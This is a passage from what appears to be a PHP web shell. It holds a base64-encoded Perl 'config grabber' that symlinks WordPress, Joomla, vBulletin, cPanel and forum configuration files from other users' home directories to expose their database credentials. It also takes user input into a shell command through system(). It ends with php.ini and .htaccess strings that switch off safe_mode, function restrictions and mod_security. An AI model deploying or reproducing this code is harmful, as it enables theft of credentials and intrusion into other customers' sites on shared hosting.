zLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB3b3JkcHJlc3MtYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLW5ld3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIGJsb2dzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBtYWluLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHRlc3QudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEgLSBqb29tbGEgLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIHByb3RhbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBqb28udHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gY21zLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBzaXRlLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBtYWluLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIG5ldy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gaG9tZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSB2YjMudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jcGFuZWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3BhbmVsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXBhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3QudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdGluZy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdHMudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGtvbGEuJy16ZW5jYXJ0LnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictIHplbmNhcnQgLSBzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC1aQ3Nob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZi50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NtZi9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIHNtZi50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW0udHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bXMvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBmb3J1bXMudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC91cGxvYWQvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdXBsb2FkIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbC9jb25maWcucGhwJywka29sYS4nLSBtYWxheS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwJywka29sYS4nLSBsb2tvbWVkaWEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3N5c3RlbS9zaXN0ZW0ucGhwJywka29sYS4nLSBsb2tvbWVkaWEudHh0Jyk7IA0KIH0NCmlmICgkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICdQT1NUJykgew0KICByZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCn0gZWxzZSB7DQogICRidWZmZXIgPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCn0NCkBwYWlycyA9IHNwbGl0KC8mLywgJGJ1ZmZlcik7DQpmb3JlYWNoICRwYWlyIChAcGFpcnMpIHsNCiAgKCRuYW1lLCAkdmFsdWUpID0gc3BsaXQoLz0vLCAkcGFpcik7DQogICRuYW1lID1+IHRyLysvIC87DQogICRuYW1lID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICR2YWx1ZSA9fiB0ci8rLyAvOw0KICAkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJEZPUk17JG5hbWV9ID0gJHZhbHVlOw0KfQ0KaWYgKCRGT1JNe3Bhc3N9IGVxICIiKXsNCnByaW50ICcNCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiPg0KPHA+Jm5ic3A7PC9wPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0id2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQwMHB4Ij48L3RleHRhcmVhPg0KPGJyIC8+PGJyIC8+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDIxMnB4IiAvPjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBjb25maWchIiBzdHlsZT0id2lkdGg6IDk5cHgiIC8+DQo8YnIgLz4NCjwvZm9ybT4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSI+DQo8cD5Eb25lICEhPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPiBkb3dubG9hZCAgZmlsZTwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==';
3504$byphp = "safe_mode = Off
3505disable_functions = None
3506safe_mode_gid = OFF
3507open_basedir = OFF
3508allow_url_fopen = On";
3509$byht = "<IfModule mod_security.c>
3510SecFilterEngine Off
3511SecFilterScanPOST Off
3512SecFilterCheckURLEncoding Off
3513SecFilterCheckUnicodeEncoding Off
3514</IfModule>";
3515?>